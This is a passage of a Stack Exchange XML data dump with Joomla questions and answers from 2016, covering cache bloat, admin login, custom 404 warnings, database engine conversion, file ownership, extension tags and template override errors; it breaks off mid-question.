  <row Id="16805" PostTypeId="2" ParentId="14059" CreationDate="2016-06-09T01:24:59.387" Score="0" Body="&lt;p&gt;I am pleased to present you a new plugin K2. &#xA;Plugin is able to notify you of new comments via email. &#xA;The plugin is absolutely free.&#xA;Test, please.&#xA;&lt;a href=&quot;http://masterpro.ws/forum/k2/4850-plagin-dlya-k2-dlya-uvedomleniya-o-novykh-materialakh&quot; rel=&quot;nofollow&quot;&gt;Interview with the developer and download&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8529" LastActivityDate="2016-06-09T01:24:59.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16806" PostTypeId="2" ParentId="10542" CreationDate="2016-06-09T05:09:10.667" Score="2" Body="&lt;p&gt;As far as I know, K2 in its current version does not support Item Associations, similar to what you get in Joomla's core articles, when you enable the feature in the language filter plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One possible workaround to create associations among the k2 items is by creating menu items for those k2 that you want to be associated. You will actually associate the menu items. This could work for a certain number of k2 items, it won't be an option if you have hundreds of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, a 3rd party translation extension like &lt;a href=&quot;http://extensions.joomla.org/extension/falang&quot; rel=&quot;nofollow&quot;&gt;falang&lt;/a&gt; could be the solution.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-06-09T05:09:10.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16807" PostTypeId="1" AcceptedAnswerId="17752" CreationDate="2016-06-09T08:49:55.887" Score="3" ViewCount="290" Body="&lt;p&gt;I have set up a site for a customer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site uses both Zoo and Widgetkit, many products, services and news pages have some Widgetkit slideshow in them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are &quot;quite a few&quot; pages and images....but I recently discovered that the folder cache\com_zoo\images has grown up to over 170 Gigabytes, with over 1 MILLION files in it and it's growing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think it's a normal behaviour, the &quot;normal&quot; weight of the site should be about 6 GB, including all images but mostly many PDFs, and software downloads that make up the total size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla cache is not enabled, so where can I disable Zoo/widgetkit cache as well? or whatever mihght be causing this issue in your opinion???&lt;/p&gt;&#xA;" OwnerUserId="8530" LastActivityDate="2016-08-31T13:35:01.160" Title="ZOO Cache extremely big - 170 GB and growing!" Tags="|cache|zoo|" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="16809" PostTypeId="1" CreationDate="2016-06-09T14:09:55.987" Score="-1" ViewCount="889" Body="&lt;p&gt;So, I've done a fresh install of Joomla 3.5.1 and when I go to /administrator, it simply will not let me log in. I'm more than certain I'm entering correct information, I've checked to ensure plg_user_joomla and plg_authentication_joomla are enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What else could this be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS! I'm quite new to the platform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aron&lt;/p&gt;&#xA;" OwnerUserId="8531" LastActivityDate="2016-08-08T16:33:39.703" Title="Unable to access administrator page - joomla 3.5.1" Tags="|administrator|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="16810" PostTypeId="2" ParentId="16809" CreationDate="2016-06-09T15:33:41.243" Score="-1" Body="&lt;p&gt;Hosting service had added an extra log in BEFORE the actual Joomla admin login.&#xA;Checked with host for said credentials.&lt;/p&gt;&#xA;" OwnerUserId="8531" LastActivityDate="2016-06-09T15:33:41.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16811" PostTypeId="1" CreationDate="2016-06-09T18:09:19.363" Score="0" ViewCount="1087" Body="&lt;p&gt;I used &lt;a href=&quot;https://www.ostraining.com/&quot; rel=&quot;nofollow&quot;&gt;OSTraining&lt;/a&gt;'s instructions to &lt;a href=&quot;https://www.ostraining.com/blog/joomla/custom-404/&quot; rel=&quot;nofollow&quot;&gt;Create a Custom Joomla 404 Page with 404 Status Code&lt;/a&gt; in one of my J! 3.5.1 sites. However, the error_log is flooded with the following errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[09-Jun-2016 04:05:45 America/Detroit] PHP Warning:  file_get_contents({...}/404): failed to open stream: HTTP request failed! HTTP/1.1 500 Internal Server Error&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Occasionally, a few other warnings pop up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[08-Jun-2016 13:15:22 America/Detroit] PHP Warning:  file_get_contents(): php_network_getaddresses: getaddrinfo failed: Name or service not known in /home/{...}/public_html/templates/theme1666/error.php on line 26&#xA;[08-Jun-2016 13:15:22 America/Detroit] PHP Warning:  file_get_contents({...}http/404): failed to open stream: php_network_getaddresses: getaddrinfo failed: Name or service not known in /home/{...}/public_html/templates/theme1666/error.php on line 26&#xA;[08-Jun-2016 13:15:22 America/Detroit] PHP Warning:  file_get_contents(): php_network_getaddresses: getaddrinfo failed: Name or service not known in /home/{...}/public_html/templates/theme1666/error.php on line 26&#xA;[08-Jun-2016 13:15:22 America/Detroit] PHP Warning:  file_get_contents({...}http/404): failed to open stream: php_network_getaddresses: getaddrinfo failed: Name or service not known in /home/{...}/public_html/templates/theme1666/error.php on line 26&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my code showing line 26:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;error-&amp;gt;getCode() == '404') : {&#xA;  header(&quot;HTTP/1.0 404 Not Found&quot;);&#xA;  echo file_get_contents(JURI::root().'404');&#xA;  exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously, the network errors are due to non-existent URLs. However, the question remains, why is the &lt;code&gt;JURI::root()&lt;/code&gt; function randomly generating non-existent URLs? And, why am I getting 500 errors when the page seems to display correctly?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note: {...} represents account or domain name.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2016-06-09T18:09:19.363" Title="PHP Warning: file_get_contents() in error_log" Tags="|joomla-3.x|php|joomla-3.5|error-pages|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="16812" PostTypeId="1" AcceptedAnswerId="16814" CreationDate="2016-06-10T08:53:30.630" Score="0" ViewCount="475" Body="&lt;p&gt;I upgraded everything from nginx to php to mysql and everything is configured correctly seeing as i can install a fresh version of joomla, but my previous project is now showing a blank page, no errors on nginx logs, php logs or joomla logs. The only thing i can see is that the new joomla installation is using innodb engine on the database and utf8mb4 coallation while my previous project is using mylsam and utf8 general. I have tried to run this query to convert all the tables to innodb but it doesnt even convert them after success. So my question is split into two, am i missing something thats giving me a blank joomla, and is this query if successful going to resolve the issue im facing. Thank you in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SELECT CONCAT('ALTER TABLE joomlaDB.', TABLE_NAME,' ENGINE=InnoDB;') &#xA;FROM Information_schema.TABLES WHERE TABLE_SCHEMA = 'joomlaDB' AND ENGINE = 'MyISAM' AND TABLE_TYPE = 'BASE TABLE'&lt;/p&gt;&#xA;" OwnerUserId="7284" LastActivityDate="2016-06-10T12:56:02.493" Title="Issue with upgrade to php7 and new mysql" Tags="|mysql|php7|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="16813" PostTypeId="2" ParentId="9328" CreationDate="2016-06-10T12:07:28.483" Score="2" Body="&lt;p&gt;You can change the owner of Joomla folders to your apache server user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the apache server user with the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ps aux | grep -v root | grep apache | cut -d\  -f1 | sort | uniq&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://serverfault.com/questions/125865/finding-out-what-user-apache-is-running-as&quot;&gt;https://serverfault.com/questions/125865/finding-out-what-user-apache-is-running-as&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Ubuntu, it's &lt;code&gt;www-data&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you know the apache user name, then you can change the owner of all the folders and files of your Joomla installation. You can use the following command to do so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I suppose that your apache user is &lt;code&gt;www-data&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo chown -R www-data:www-data /path/to/your/joomla&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are already inside your Joomla directory, then you can run the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo chown -R www-data:www-data .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1508" LastEditorUserId="-1" LastEditDate="2017-04-13T12:14:48.550" LastActivityDate="2016-06-10T12:07:28.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16814" PostTypeId="2" ParentId="16812" CreationDate="2016-06-10T12:56:02.493" Score="0" Body="&lt;p&gt;When there are no errors, and your facing white or blank site on front end or back end only one thing worked for me which is renaming the plugins folder (making back end work) and renaming it back while renaming each individual folder inside plugins one at a time to find what is suppressing the errors or over writing the error reporting.&lt;/p&gt;&#xA;" OwnerUserId="7284" LastActivityDate="2016-06-10T12:56:02.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16815" PostTypeId="1" AcceptedAnswerId="18914" CreationDate="2016-06-10T14:50:35.533" Score="6" ViewCount="1400" Body="&lt;p&gt;I am trying to add a Composer Package and make it globally available but I do not want to modify core composer.json for obvious reasons. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the only way to do this having a composer.json either on the Joomla root (or outside joomla root) and including the autoloader either in the index.php or defines.php? Or the current best practice to include the packages in each of the extensions as required?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The package I am trying to include is &lt;a href=&quot;https://github.com/nette/forms&quot;&gt;https://github.com/nette/forms&lt;/a&gt; and make it globally available so that I can use it for front end forms.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2023-11-03T22:28:45.203" Title="How to add a composer package without modifying the core composer.json file" Tags="|development|recommended-practices|best-practices|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16816" PostTypeId="2" ParentId="12115" CreationDate="2016-06-10T15:06:02.660" Score="0" Body="&lt;p&gt;PHP is a &lt;strong&gt;P&lt;/strong&gt;re &lt;strong&gt;H&lt;/strong&gt;ypertext &lt;strong&gt;P&lt;/strong&gt;rocessor (technically &lt;a href=&quot;http://php.net/manual/en/preface.php&quot; rel=&quot;nofollow&quot;&gt;Hypertext Preprocessor&lt;/a&gt;). This means the code is compiled and executed by the server prior (&lt;strong&gt;&lt;em&gt;P&lt;/strong&gt;re&lt;/em&gt;) to the HTML (&lt;strong&gt;H&lt;/strong&gt;yper&lt;strong&gt;T&lt;/strong&gt;ext &lt;strong&gt;M&lt;/strong&gt;arkup &lt;strong&gt;L&lt;/strong&gt;anguage) being served to the client. &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/About_JavaScript&quot; rel=&quot;nofollow&quot;&gt;JavaScript runs on the client side of the web&lt;/a&gt;, meaning that it is served by the HTML and executed after (&lt;em&gt;post&lt;/em&gt;) an event occurs in the HTML page. As such, you cannot execute PHP code from Javascript as the Javascript is executed &lt;em&gt;post&lt;/em&gt; HTML and the PHP is executed &lt;em&gt;pre&lt;/em&gt; HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do the opposite, however, and use PHP (&lt;em&gt;pre&lt;/em&gt;) to output Javascript (&lt;em&gt;post&lt;/em&gt;) to the HTML which is then executed after the HTML is served. To do this, find the location in your PHP file where you want the Javascript to be output in the HTML. Then, &lt;code&gt;echo&lt;/code&gt; the PHP results along with your Javascript as so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pre&amp;gt;&amp;lt;code&amp;gt;your Javascript goes here&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will allow you to ensure the PHP is executing your code correctly and the correct values are being written to the HTML/Javascript. Once you are sure everything is correct, you can remove the &lt;code&gt;&amp;lt;pre&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&lt;/code&gt; block and output the Javascript directly to your HTML source. &lt;em&gt;(Note: There is nothing special about using &lt;code&gt;&amp;lt;pre&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&lt;/code&gt;, it just allows you to see the code easily in your page without viewing the source.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that when combining PHP and Javascript together, you will need to test the code for each separately. So, make sure the PHP is outputting what you want outside of the Javascript. Then, make sure the Javascript works correctly using static values instead of PHP code. Then, combined the two. Using this approach will allow you to see if the errors you experience are in your PHP or Javascript.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2016-06-10T15:06:02.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16818" PostTypeId="1" CreationDate="2016-06-10T18:59:15.933" Score="2" ViewCount="1121" Body="&lt;p&gt;Breadcrumbs grabs the breadcrumb trail based on the content. This causes problems when a site has internal links being created via the editor to other articles that do not have menu items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg: Home / Menu Item Level 1 / Menu Item Level 2 / Menu Item Level 3 / Category / Sub Category / Article&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need is a breadcrumb that matches the menu path of the closest menu item. So if you're looking at things in the 3rd tier, you see a menu path back to the 1st tier, but only of the current menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg: Menu Item Level 1 / Menu Item Level 2 / Menu Item Level 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea how to accomplish this. I don't think I can do it with the breadcrumb module at all, I could create custom menus for every single tier but there's a lot of unknowns there, since most of these articles don't even have menu items. (client put their site together this way, I'm just trying to make it work best I can).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to clarify: how do I make a breadcrumb path that follows the menu structure, not the article / category structure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;**I didn't actually have time to wait on this answer, so I did go with the custom menu modules, one for each tier, assigned for each menu. It's working pretty well, so I won't be using the alternative, but if someone does know how to make this happen, I can't be the only one who was wondering!&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2016-06-10T21:34:50.723" LastActivityDate="2024-01-02T16:03:00.337" Title="How to create breadcrumbs based on menu structure" Tags="|menu|3.5.1|breadcrumbs|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16821" PostTypeId="1" CreationDate="2016-06-11T20:51:29.233" Score="1" ViewCount="577" Body="&lt;p&gt;I would like to get the name of the active layout for the category content component what is being used at this moment in my joomla through one override one_template/html/com_content/category/blog2.php' and 'one_template_name/html/layouts/joomla/content/category_default_without_title_categ.php' and 'one_template/html/layouts/joomla/content/category_default.php'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code inside 'category_default.php':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  com_content&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;JHtml::addIncludePath(JPATH_COMPONENT . '/helpers');&#xA;&#xA;JHtml::_('behavior.caption');&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;category-list&amp;lt;?php echo $this-&amp;gt;pageclass_sfx;?&amp;gt;&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;$this-&amp;gt;subtemplatename = 'articles';&#xA;echo JLayoutHelper::render('joomla.content.category_default_without_title_categ', $this);&#xA;?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Depending of the name of the current used layout file (ej, blog2.php or blog.php) what is being used I would like choose and load one (category_default_without_title_categ.php) or other (category_default.php) by a conditional instruction like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(){&#xA;echo JLayoutHelper::render('joomla.content.category_default_without_title_categ', $this);&#xA;}&#xA;else{&#xA;echo JLayoutHelper::render('joomla.content.category_default', $this);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4u3ZX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4u3ZX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/u9VUq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/u9VUq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8402" LastActivityDate="2016-08-13T14:51:15.780" Title="How to get the name of the active layout for the component used" Tags="|templates|overrides|joomla-3.5|component-params|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16822" PostTypeId="1" CreationDate="2016-06-12T02:26:12.483" Score="6" ViewCount="843" Body="&lt;p&gt;How to realize tags function on my custom extension? I have try follow &lt;a href=&quot;https://docs.joomla.org/J3.2:Using_Tags_in_an_Extension&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.2:Using_Tags_in_an_Extension&lt;/a&gt; this guide step by step but still I can't save tags into database. System alerts &quot;Save failed with the following error:(blank)&quot;. I don't know what's the error....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Anyone have such experiense on tags development who can help me out?&#xA;Thank you !!!!&lt;/p&gt;&#xA;" OwnerUserId="8505" LastEditorUserId="126" LastEditDate="2018-01-31T20:55:56.217" LastActivityDate="2018-11-29T06:58:42.480" Title="How to Joomla 3 use tags on extension?" Tags="|joomla-3.x|tags|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16825" PostTypeId="1" CreationDate="2016-06-12T11:55:48.860" Score="1" ViewCount="122" Body="&lt;p&gt;I have a website that can be accessed by an unknown link under the website. For example there is an /unrelated-link under my domain and it can access the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To illustrate:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;www.domain.com/unrelated-link&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Although it seems like it is under the menu of the page, I can't seem to find it in the menu manager of Joomla. Is there anyway to remove that? Or is there a sort of website mapping file where I could remove it? A sort of web.xml kind of thing?&lt;/p&gt;&#xA;" OwnerUserId="8545" LastActivityDate="2017-12-06T06:46:45.803" Title="Remove Link that is not in menu" Tags="|menu|menu-item|weblinks|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16826" PostTypeId="2" ParentId="16822" CreationDate="2016-06-13T09:33:59.143" Score="3" Body="&lt;p&gt;You can use the tags functionality in your custom extension as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;models/forms/formfile.xml&lt;/strong&gt; - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;field name=&quot;tagfieldname&quot; type=&quot;tag&quot; mode=&quot;ajax&quot; label=&quot;Tag Field Name&quot; description=&quot;&quot; multiple=&quot;true&quot; custom=&quot;allow&quot; required=&quot;true&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;tables/filename.php&lt;/strong&gt; - add the following code in the &lt;code&gt;bind()&lt;/code&gt; method :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function bind($array, $ignore = '')&#xA;{    &#xA;  if (!empty($array['tagfieldname']) ) {&#xA;  // Load the tags helper.&#xA;  require_once JPATH_ADMINISTRATOR . '/components/com_tags/helpers/tags.php';&#xA;&#xA;// Get the allowed actions for the user&#xA;$canDo = TagsHelper::getActions('com_tags'); // The helper get the user and the component name itself&#xA;&#xA;// Load the tags model.&#xA;require_once JPATH_ADMINISTRATOR . '/components/com_tags/models/tag.php';&#xA;JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_tags/tables');&#xA;&#xA;// Get an instance of the table for insertion the new tags&#xA;$tagsModel = TagsModelTag::getInstance('Tag','TagsModel');&#xA;&#xA;$tags = array(); // Initialization of the tag container must be processed&#xA;&#xA;// If tags is an array, store-mode&#xA;if ( is_array($array['tagfieldname']) ) {&#xA;    // &quot;Allow user creation&quot; mode must be activated (default) in the component creation field&#xA;    // Save the tags does not exist into the table tags and get its id for save the entire Item with the proper data&#xA;    foreach ($array['tagfieldname'] as $singleTag) {&#xA;        // If there is any new tag... create it to get the id and save into the table #__COMPONENT_NAME_TABLE_NAME&#xA;        if ( strpos($singleTag, &quot;#new#&quot;) !== FALSE ) {&#xA;            $user           = JFactory::getUser();&#xA;            $userId         = $user-&amp;gt;id; // For writing permissions &#xA;            $tagName        = str_replace(&quot;#new#&quot;, &quot;&quot;, $singleTag);&#xA;            $tagAlias       = $tagPath = preg_replace('/\W+/', '-', $tagName); // Tags alias filter&#xA;            $tagMetadata    = array(&#xA;                    &quot;author&quot;=&amp;gt;&quot;&quot;&#xA;                    , &quot;robots&quot;=&amp;gt;&quot;&quot;&#xA;                    , &quot;tags&quot;=&amp;gt;null&#xA;            );&#xA;&#xA;            // The data tag field row&#xA;            $data = array(&#xA;                    &quot;parent_id&quot; =&amp;gt; 0&#xA;                    , &quot;path&quot; =&amp;gt; $tagPath&#xA;                    , &quot;title&quot; =&amp;gt; $tagName&#xA;                    , &quot;alias&quot; =&amp;gt; $tagAlias&#xA;                    , &quot;created_by_alias&quot; =&amp;gt; $user&#xA;                    , &quot;created_user_id&quot; =&amp;gt; $userId&#xA;                    , &quot;published&quot; =&amp;gt; 1&#xA;                    , &quot;checked_out&quot; =&amp;gt; 0&#xA;                    , &quot;metadata&quot; =&amp;gt; json_encode($tagMetadata)&#xA;            );&#xA;&#xA;            // Finally, store the tag if the user is granted for that&#xA;            if ( $canDo-&amp;gt;get('core.create') ) {&#xA;                $table = $tagsModel-&amp;gt;getTable();&#xA;                $table-&amp;gt;bind($data) ? $table-&amp;gt;store($data) : exit;&#xA;                $tags[] = $table-&amp;gt;id; // And store the insert_id&#xA;            }&#xA;        }&#xA;&#xA;    // NOT new Tag (already exists)&#xA;    // $singleTag is the tag id&#xA;    else&#xA;        $tags[] = intval($singleTag);&#xA;    }&#xA;&#xA;    // Override the tags array, because we should need to change the id before field saving&#xA;    // The field in database will look like &quot;299,345,567,567&quot;&#xA;    $array['tagfieldname'] = implode(',', $tags);&#xA;}&#xA;}&#xA;else {&#xA;    $array['tagfieldname'] = '';&#xA;}&#xA;return parent::bind($array, $ignore);&#xA;}// bind() ends&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7632" LastEditorUserId="12352" LastEditDate="2018-11-29T06:50:47.987" LastActivityDate="2018-11-29T06:50:47.987" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="16827" PostTypeId="1" CreationDate="2016-06-13T15:05:53.930" Score="1" ViewCount="195" Body="&lt;p&gt;I am using a custom template, and when I enable a certain module, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Catchable fatal error: Object of class stdClass could not be converted to string in &#xA;/home/my_host_username/public_html/libraries/cms/module/helper.php on line 202&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to fix this?&lt;/p&gt;&#xA;" OwnerUserId="405" LastActivityDate="2016-12-10T20:28:23.620" Title="Fatal Error in JModuleHelper" Tags="|module|templates|template-override|fatal-error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16828" PostTypeId="2" ParentId="16827" CreationDate="2016-06-13T15:05:53.930" Score="2" Body="&lt;p&gt;This is one funny problem.&lt;br/&gt;&#xA;It seems that Joomla includes code from &lt;strong&gt;module template overrides&lt;/strong&gt; in a manner that &lt;strong&gt;certain variable names do affect the core JModuleHelper renderModule function&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you need to do to reproduce this bug-like behavior, is to write the following line in your module template override:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$template = JFactory::getApplication()-&amp;gt;getTemplate(true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By loading any object in a variable called &lt;code&gt;$template&lt;/code&gt;, you break your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the problem has a simple solution. Namely:&lt;br/&gt;&#xA;Search the module template override code (inside &lt;code&gt;templates/your_template/html/mod_modulename&lt;/code&gt;)&lt;br/&gt;or possibly even in the module itself (inside &lt;code&gt;modules/mod_modulename&lt;/code&gt;), for &lt;code&gt;$template&lt;/code&gt; and replace with anything else, like &lt;code&gt;$a_template&lt;/code&gt; or &lt;code&gt;$my_template&lt;/code&gt; and this will be fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure to let the developer know, if this is not something written by you.&lt;/p&gt;&#xA;" OwnerUserId="405" LastEditorUserId="405" LastEditDate="2016-06-13T15:11:14.430" LastActivityDate="2016-06-13T15:11:14.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16830" PostTypeId="1" AcceptedAnswerId="16831" CreationDate="2016-06-13T18:22:50.877" Score="0" ViewCount="70" Body="&lt;p&gt;I am developing a back-end Joomla! component, but after it is installed, I see an empty folder in the site part. How I can instruct Joomla! not to create the folder in the site part?&lt;/p&gt;&#xA;" OwnerUserId="5665" LastActivityDate="2016-06-13T20:01:31.990" Title="How to develop only a back-end Joomla! component?" Tags="|component|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16831" PostTypeId="2" ParentId="16830" CreationDate="2016-06-13T18:44:30.527" Score="3" Body="&lt;p&gt;Unfortunately the directory is always gets created.&#xA;File: libraries/cms/installer/adapter.php line 679&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;createExtensionRoot(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above line will create the extension root directory whenever you install the component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The workaround for this is to delete the directory after installation. In your script.php file, delete the directory during postflight phase.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function postflight ($type, $parent)&#xA;{&#xA;  JFolder::delete(JPATH_ROOT.'/components/com_mycomponent');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2016-06-13T20:01:31.990" LastActivityDate="2016-06-13T20:01:31.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16832" PostTypeId="2" ParentId="16825" CreationDate="2016-06-13T18:59:32.147" Score="1" Body="&lt;p&gt;One of the best explanations why do we have multiple URLs in Joomla, and how to deal with it, you can find here on JSE:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4164/how-to-deal-with-duplicated-content-urls-in-joomla&quot;&gt;How to deal with Duplicated Content / URLs in Joomla?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-06-13T18:59:32.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16833" PostTypeId="1" CreationDate="2016-06-13T21:24:20.400" Score="2" ViewCount="434" Body="&lt;p&gt;IMPORTANT UPDATE&#xA;I have finally been able to get in touch with the guy who was running the site prior to my taking over and he has told me he had stopped using Joomla and was just updating the pages directly.&#xA;I am still unclear how the disconnect has happened as the Joomla does appear to be connected to the main site in some way - but clearly this is the reason why I was failing to get it to publish.&#xA;It may be that in the future I will try to get Joomla running again on this site, but that is the topic for another question.&#xA;Thanks to everyone who has helped, I'm sure these replies will be useful to those who have a similar problem. It seems I can't get the scores I add to answers to show up until I have been here longer, but I will try to mark all the answers that seemed to be helpful to me.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Thanks again for all the assistance.&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I've taken over a website that uses Joomla, which I only have a very basic understanding of. I want to make just a small change to an existing published article, but the change won't 